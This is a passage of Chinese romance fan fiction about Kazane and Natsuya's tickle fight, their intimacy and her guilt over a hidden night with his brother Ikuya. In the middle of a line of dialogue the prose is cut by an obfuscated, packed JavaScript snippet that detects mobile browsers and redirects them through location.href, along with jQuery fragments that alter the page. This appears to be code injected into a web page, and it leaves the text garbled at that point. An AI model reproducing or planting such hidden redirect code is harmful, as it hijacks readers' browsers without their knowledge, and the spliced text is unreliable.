她还是把麦片与牛奶倒进了下水道。这么做果然很邪恶呢，但她尽量不去想这种会让自己觉得很糟糕的事情。 “怎么了？”她揪揪夏也的头发，歪过脑袋，用脸颊蹭他，“有事请要和我说吗？” 他顿了顿，而后摇头，“也没什么事。” “是嘛。还以为你这样子把我锁起来是有什么目的。” “没有目的。只是想抱抱你而已。” 他把脸埋得更深，双唇几乎要融进她的骨头里，话语被捂得闷闷的，仿佛来自很深的某个地方。 “你的头发有股椰子的味道。”他的话题转换的好快。 “因为洗发水是椰子味的嘛。”风音拍拍他的脑袋，“如果你想喜欢的话，可以借给你用。” 夏也笑起来，“这么大方吗？太好了。谢谢你。” 风音想说自己可是一直很大方的，但在此之前，夏也忽然松开了手臂，双手搭在她的腰上，很莫名地抓了她两下。 没错，就是抓了两下——把她腰上的肉都要揪起来的那种很奇怪的小动作。 实在太莫名其妙了，风音瞬间忘掉了还要自吹自擂这件事，回过头，困惑地看他。 “你在干什么？” 夏也来看起来也很困惑：“我在挠你痒痒。” “哦——”解密了，但还是挺茫然的，“可我没什么感觉。” 甚至都不觉得痛，因为他的动作实在是太轻了。 夏也看起来有点沮丧：“原来你不怕痒吗？” “算是吧？我也不确定，毕竟平常没人对我做这种恶作剧，而且你也不是那种会对我搞恶作剧的人。” “好吧。你这样会让我的恶作剧显得很没意思。” “诶？那对不起了。反正你现在知道我不怕痒的这件事了。”风音一脸平静地伸出了手，“说起来，我还不知道你对挠痒痒这件事的耐受度。你怕痒吗？” 照理说，询问肯定要在动手之前说出口才对，可她的双手分明已经掐住了夏也，而他也几乎是在一瞬间就痒到蜷起了身子，她还要明知故问，简直就是恶魔。 当然，不用想也知道，即便坦白说“我很怕痒”，风音也会毫不留情地把手伸向夏也最怕被碰到的那部分，因为她现在就在这么做。 明明是最喜欢的她的手、明明是球场上很稳健很精准的双手，在做起坏事来居然也得心应手，灵活到仿佛化身为十条鳗鱼，从夏也的毛衣下摆钻进去，一会儿爬过他的侧腰，一会儿又来到了他的小腹上，冷冰冰且无比狡猾，就算想要努力忍耐也忍不住，毕竟痒到难受一定会忍不住笑出声，而夏也已经笑到快要断气了。 真的，他足够努力了，从厨房逃到卧室再逃到客厅，只为摆脱这双罪恶的魔爪，可惜他的对手是永远会追着目标跑的控球后卫，无论如何他也没办法逃远。 换言之，在无赖的恶魔尽兴之前，他大概是没办法翻身了。 总觉得好惨。 夏也决心不要坠入风音的掌心里（虽然现在也已经跌进去了），不管怎样他都要给出反击才行。 找准时机，在绕着沙发追逐到第三圈时，他猛得转身，一下子把风音按在坐垫上，钳住她的双手一代恶魔终于陨落了。 “你也太过分了。”其实也不想数落她，可夏也忍不住说，“在你尽兴或者我求饶之前，你肯定会不会停手的，对吧？” 风音还处在一种相当亢奋的状态，就算被他完全控制住，还是跃跃欲试地想要挣脱他那形若无物的桎梏，还会得意地眯起眼，对于他的质问一句都不反驳。 因为，这就是事实嘛。 “谁让你一被挠就会露出一副好可怜的样子。我还从来都没有见过夏也你露出这种表情呢。”风音笑嘻嘻，丝毫没有半点收敛或是同情，简直过分极了，“想多看几回不也是很正常的心情嘛。如果不想被我挠痒痒的话，夏也你别怕痒就不就好了？” “这是在宣扬受害者有罪论吗？” “你可以这么认为，但我从来没这么说过。不允许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819106|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你曲解我的意思。” 明明就是这个意思没错。 其实夏也是真的很气恼的，可不知道为什么，只要看到她飞扬的得意神色，还有不自觉缠上了手腕的柔软金发，不管是怎样的情绪，都会彻底消失无踪，只剩下很纯粹的“喜欢”的概念而已。 他垂下眼眸，轻轻额头抵着她的额头，距离忽得缩近，彼此的呼吸交融在一起，能感觉到她温热的体温，甜腻的椰子气味缠绕在鼻尖。 在风音忍不住想说点什么之前，夏也吻了她。 这似乎是比任何时候都要更漫长的吻，急切得仿佛试图掠夺一些什么，能感到他的手掌拂过脊背，带着燥热的急切，一定有东西在蠢蠢欲动。 听到他说：“不做吗？” 风音觉得自己在思考，而不是犹豫。至于在思考的主题，她不太敢深入地想。 她知道做了一件糟糕的事——在此之上，这甚至是一件错误的事情。而世上一定不会有能藏住一辈子的错误。 如果告诉了夏也，向他道歉，那么，他会原谅她吗？还是说，在讲出事实的那一刻，在她昨天决定放弃思考的那一刻，他们之间的关系就该画上句点了？然后过往积攒的一切情感全部扭转，然后他们变成仇人一样的存在。 ……不要。 想要的一定不是这样的结果。 风音猛得起身，把夏也压在身下。心跳得太快了，她有点害怕，但还是伸出手，指尖拂过他的面庞。 “我喜欢夏也。”她喃喃着，“最喜欢的就是夏也了。” 不是因为庸俗地被告白了所以才会答应，也绝不是因为他是郁弥的哥哥，更不可能是想要被与他一样的眼睛注视。跟这些全都没有关系。 想要和夏也在一起，是因为他很温柔、他会遵守诺言、他什么时候都会想到自己，他会把她散乱的碎发捋到耳后，轻抚无数个穿过她的耳垂的钉子，说： “我知道。我爱你。” 一定是因为这句话，在接下来的时间里，她一次也没想到昨晚发生的事情，不会想到与他截然不同的、郁弥所给她的仿佛急切到没有明天的亲吻与往复。她坚信昨夜一定是梦——不算梦魇，也不是美梦，只是梦而已。 时间会继续走下去，就和最初规划的那样，她搬到夏也的家里，霸道的把自己带来的小东西放在最显眼的地方，将安德烈亚的画裱进相框，摆在玄关最显眼的地方，拆开最后的纸箱，把枕头挤进他的床上。 应该就是在这个时候，枕头上掉下来一根纤细、深绿色的发丝，从风音的视线中缓缓坠落。 尽管一点也不情愿去想这种事，但在这一刻，她的确意识到了。 这是昨晚切实存在过留下的痕迹。即便将仅有彼此知道的记忆当做秘不可宣的梦，它依然制造出了存在过的证据。 另一个不愿意去想的事情是，枕头并不是她亲手塞进纸箱里的。 替她做完了这桩最后的无聊差事的人，是夏也。